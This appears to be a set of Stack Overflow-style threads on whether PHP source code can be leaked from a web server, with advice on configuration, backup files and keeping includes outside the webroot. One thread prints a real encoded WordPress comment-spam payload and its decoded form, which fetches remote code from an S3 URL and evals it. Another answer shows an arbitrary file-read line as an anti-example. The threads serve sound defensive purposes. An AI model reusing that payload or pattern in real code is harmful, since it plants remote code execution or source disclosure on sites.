Is it possible to download php files from the server where they are located? I am a beginner in web area, and I worry that hackers may have special tools to download, see my code and understand where I have programmed vulnerable codes to hack my site.
If the server is properly configured and there are no security holes in the code then no, it's not possible.
If you have something like
echo file_get_contents($_GET['myFile']);
then this could be used to get your code - never do this!
In 9/10 cases the way bad guys can download your php source code is if you keep backup files in the webroot, things like foo.php.bak or foo.php.old or .backup. These are served as plain files by default so be careful of this issue in addition to the above suggestions.
It's not possible to directly download the source to your php files which are processed through Apache, unless your web server for whatever reason suddenly broke and stopped serving php files through the php interpreter ( if you were messing around with the settings perhaps and broke it. )
A very skilled cracker would probably be able to infiltrate your web server though, and easily download anything on it, but the chances of this are very, very low. If you're not some big company then who would care to take the time to really hack you?
Another point to make is whenever you're dealing with user input, always sanitize otherwise you'd be susceptible to common XSS attacks ( escape strings, dont rely on PHP_SELF, plenty of other sanitisation that can be done ).
the configuration of the webserver determined if a file should be parsed to the php parser or not. this is usually based on the file extention. So, files ending on .php would be parsed, and for php source you would use .phps. So .php files, on the webserver to generate dynamic content can't be downloaded as source.
Hackers don't need your source code to break into your site. In fact the majority of the vulnerabilities on OWASP top 10 doesn't require source code to exploit:
http://www.owasp.org/index.php/Top_10_2007
"Black Box" vulnerabilities scanners like Acunetix (http://www.acunetix.com) Or the open source project Wapiti (http://wapiti.sourceforge.net) can uncover SQL Injection, XSS and Source Code Disclosure vulnerabilities easily. Its a great tool.
Related
I know that PHP's include/require statements can append other .php files into the script, either from a local path or an url.
Today i tried to include and also to require a .ddf (a text file), and it worked, with no errors or warnings. Then PHP actually executed some code that was in that file!
After that i went into the PHP's documentation for include to see if including non-php files is fully supported and safe. Turns out that, the documentation barely mentions this procedure (include 'file.txt'; // Works.) that's it.
So i'm asking you guys, Is including non-php files safe? Also is it a bad practice?
I just want to say that it is completely unsafe. While yes, as long as you trust the page, you technically could do this. But the page when pulled up directly in the browser isn't parsed as php. Anyone who goes directly to the file in the web server, whether guessing or you made a framework or they just know some file names, would see the complete source of the file. Exposing your site and possibly releasing sensitive information like database credentials. Another thing to think about is that people are usually pretty good about not allowing *.php files to be uploaded to their site, but just imagine you are allowing other files to be included and someone uploads a text file named "someImage.jpg" with php script in it and for some dumb reason you include it. People now have a way to execute scripts on your server. Likely including calling shell commands (exec). It used to be common practice to use *.inc files to specify includes but that has been considered bad for quite a long time.
It is not advisable to include txt files in php scripts. Instead, you should use file_get_contents.
This question already has answers here:
How to get rid of eval-base64_decode like PHP virus files?
(8 answers)
Closed 6 years ago.
I'm using a wordpress blog today i got a comment like this .
<!-- unsafe comment zapped --> eval(base64_decode("JGRhdGEgPSBmaWxlX2dldF9jb250ZW50cygiaHR0cHM6Ly9zMy5hbWF6b25hd3MuY29tL3dvcmRwcmVzcy1jb3JlL3VwZGF0ZS1mcmFtZXdvcmsudHh0Iik7ZXZhbCgkZGF0YSk7")); --><!--/mfunc-->
When i've decoded this comment using decoder i got
$data = file_get_contents("https://s3.amazonaws.com/wordpress-core/update-framework.txt");eval($data);
I'm getting many comments like this . Can anyone help me to resolve this problem .? Is it a Hack or does it shows the beginning of hacking ?
It is a hack or at least an attempt. They are taking advantage of an unresolved wordpress vulnerability that can allow them to download and executing code among other things. This type of attack has very little public exposure at the moment on the web and can be particularly nasty if it is originating from an educated source. If you notice these type of code snippets around your server side then please do more research to determine if you are truly infected and if so, to what level the infection has actually gone. I have seen entire shared hosting servers infected from individual wordpress site admins either allowing via ignorance or actively helping this problem propagate. Unfortunately this particular problem is currently not very well documented on the web so you will likely have to do a good bit of research to be sure your site is OK. To help you research I'll clarify the terminology of this hack.
This is a PHP Code Injection attack that is most likely attempting to exploit a known vulnerability in the wordpress framework. It is using Base64 encoded PHP code to inject itself onto your hosting server via eval() which is a programming language construct that is present in nearly all programming languages, including PHP. Hacker's with extremely organized and advanced abilities have made use of this exploit recently to wreak absolute havoc on compromised wordpress sites so be extremely careful when handling this type of problem.
None of the suggestions worked for us. The following is how we removed malicious code from multiple wordpress sites without any downtime.
We ran into a problem where we had multiple legacy wordpress sites sharing one filesystem that was infiltrated by this virus.
We ended up writing a little python script to traverse our filesystem and detect the malicious code.
Here's the code for anyone interested (NOTE: USE AT OWN RISK):
https://github.com/michigan-com/eval_scrubber
pip install eval_scrubber
// finds all infected files, will not do anything but READ
python -m eval_scrubber find .
// attempts to remove malicious code from files, potentially dangerous because it WRITEs
python -m eval_scrubber remove .
That scripts will scan the filesystem for malicious content and as a separate command it will attempt to remove the base64 eval functions.
This is really a temporary solution because the generator of this virus uses PHP comments to cause the regex to not match. We ended up using auditd to monitor what file is writing to a file we knew was getting infected: http://www.cyberciti.biz/tips/linux-audit-files-to-see-who-made-changes-to-a-file.html
Once we found the generator of the virus, did one more eval_scrubber remove and then our problem was fixed.
I was searching for a good and fast solution. This will help you find which files are infected with eval64. Then you can use search/replace in Dreamweaver and remove it from all files at once.
Threat scan plugin
BUT
There was an index file with short 2 lines of code. That 2 lines were injecting eval over and over. I forgot which index.php it was but look in folders:
wp-admin
wp-content
wp-include
Try to search for md5 in your files using Dreamweaver.
Hope you'll be able to fix it.
I have a doubt about PHP, Apache, server interpretation... I know that when a PHP file is loaded by the browser from an Apache+PHP server it is interpreted and only the HTML and plain text is showed but is there a way to download this files instead of interpreting them?
In this case it would be very unsecure because MySQL passwords would be unsafe.
Is it any security measure to prevent this or it's impossible to download this files?
As long as your server is setup properly it isn't going to happen.
A good step though is to put all of your actual passwords and whatnot in a config.php and including it. That way you can use htacces too block that file so that should your server ever start serving the raw pages that file won't be accessible anyway.
To clarify if you create a .htaccess file and place it in the same folder as the config.php with the below information that file will not be served, even if requested directly. Simply define your config stuff (db name, user name, password, hashes, etc) in this file and include_once it at the top of each page that needs it and you will be good to go.
<files config.php>
order allow,deny
deny from all
</files>
There is no way to 'download' PHP files, but for more security you can place your 'core' PHP files outsite of the public_html folder
Unless the PHP interpreter stops working for some reason, it's not something to worry about. Most servers are designed to interpret the PHP files every time they are requested and serve only the interpreted HTML text. It's possible to secure your sensitive PHP settings files just in case - often by placing them outside of the root directory with modified permissions.
The only way someone could download the files is to have a server set up that serves the raw files. As long as you don't have such a server set up, they're inaccessible. If the only server software on your system is Apache and it's configured correctly, people cannot see your source code.
However, if somebody seeing your source would render your app vulnerable, you might want to give some thought as to how you can fix that problem. Lots of secure open-source software exists — why would yours being open-source cause problems?
With proper configuration apache guarantees that files will always get interpreted and won't be offered for download.
You always may install fault update or make wrong configuration, but with skilled admin and stable release those cases just don't happen.
Is it possible to somehow view another websites php files/codes?
Or to rephrase the question, Can my php codes be viewed by anybody except for those who have access to the file?
If so, how can I best prevent this?
Ps: Server OS is Ubuntu 9.10 and PHP version is 5+ (Apache2)
A bug or security vulnerability in the server (either Apache or the PHP engine), or your own PHP code, might allow an attacker to obtain access to your code.
For instance if you have a PHP script to allow people to download files, and an attacker can trick this script into download some of your PHP files, then your code can be leaked.
Since it's impossible to eliminate all bugs from the software you're using, if someone really wants to steal your code, and they have enough resources, there's a reasonable chance they'll be able to.
However, as long as you keep your server up-to-date, someone with casual interest is not able to see the PHP source unless there are some obvious security vulnerabilities in your code.
Read the Security section of the PHP manual as a starting point to keeping your code safe.
By using exploits or on badly configured servers it could be possible to download your PHP source. You could however either obfuscate and/or encrypt your code (using Zend Guard, Ioncube or a similar app) if you want to make sure your source will not be readable (to be accurate, obfuscation by itself could be reversed given enough time/resources, but I haven't found an IonCube or Zend Guard decryptor yet...).
Noone cand read the file except for those who have access to the file. You must make the code readable (but not writable) by the web server. If the php code handler is running properly you can't read it by requesting by name from the web server.
If someone compromises your server you are at risk. Ensure that the web server can only write to locations it absolutely needs to. There are a few locations under /var which should be properly configured by your distribution. They should not be accessible over the web. /var/www should not be writable, but may contain subdirectories written to by the web server for dynamic content. Code handlers should be disabled for these.
Ensure you don't do anything in your php code which can lead to code injection. The other risk is directory traversal using paths containing .. or begining with /. Apache should already be patched to prevent this when it is handling paths. However, when it runs code, including php, it does not control the paths. Avoid anything that allows the web client to pass a file path.
Why is it a good practice to remove PHP files from the htdocs/public directory?
They are being parsed anyway, right?
if PHP files are at some point not parsed due to a configuration error or, say, a failing interpreter, there is no danger of the source code (and possibly passwords) being revealed to the world as clear text.
Also, human mistakes like renaming a .php file to .php.bak are less dangerous that way.
I had this once, years ago, when a colleague, from the Perl world and totally ignorant about PHP, decided to set "short_open_tags" to "off" on a server we shared, because short_open_tags messed with some XML experiment he had going (<?xml version="1.0"?>). That was fun! :)
and a second thing:
Calling includes out of context
Having includes (i.e. pieces of PHP code that is included elsewhere) under the web root makes you potentially vulnerable to people calling those includes directly, out of context, possibly bypassing security checks and initializations.
If you can't/won't avoid PHP code to reside in the web root, at least be sure to start each file checking whether it is running in the correct context.
Set this in your main script(s):
define ("RUNNING_IN_SCRIPT", true);
and add this to the 1st line of each include:
if (!defined("RUNNING_IN_SCRIPT")) die ("This file cannot be called directly.");
Yes, they are parsed. However, that is completely dependent on you or the server admin not screwing up the config files.
All it takes is a quick typo in the Apache config before Apache forgets to parse the PHP (I've had this happen). Since Apache won't know what to do with a PHP file after that, your source code just gets output as plain text, and can be immediately copied. Heck, it's even cached in the user's browser, so a malicious user can quickly copy all your code and browse it later at their convenience, looking for security holes.
You don't want your source to be visible even for a second. If you have no code files in the htdocs directory, this can't happen. They can easily be included into your code from outside the directory however.
Many MVC frameworks use this method of sandboxing for just this purpose.
The more executable PHP files you have, the more security risks you also have :
What if there is a problem in your configuration (it happens !), and the source code of your PHP file containing your database credentials is sent to the browser ?
what if there is some "bad" thing left in one of those files, you didn't think about, and no-one ever tested ?
The less PHP executable files you have... well, that's a couple of potential problems you don't have to care about.
That's why it's often considered as best to :
put under the document root only the PHP files that have to be called via Apache (like index.php, for instance),
and put outside of the document root the PHP files that are not accessed directly, but only included by the first ones (ie, libraries / frameworks, for instance).